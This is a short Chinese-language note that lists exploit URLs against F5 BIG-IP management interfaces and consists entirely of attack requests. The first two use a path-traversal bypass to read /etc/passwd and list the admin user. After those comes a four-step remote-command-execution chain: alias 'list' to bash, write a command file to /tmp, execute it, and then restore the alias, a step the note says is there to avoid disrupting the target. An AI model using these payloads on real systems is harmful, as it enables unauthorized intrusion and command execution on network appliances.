目标检测payload

https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

RCE

1、修改alias ，将list设置成bash命令
htts://x.x.x.x/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash

2、生成bash文件并写入要执行的命令
htts://x.x.x.x/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/checksafe&content=whoami

3、执行bash文件
htts://x.x.x.x/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/checksafe

4、还原alias设置，防止影响目标正常使用
https://x.x.x.x/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list
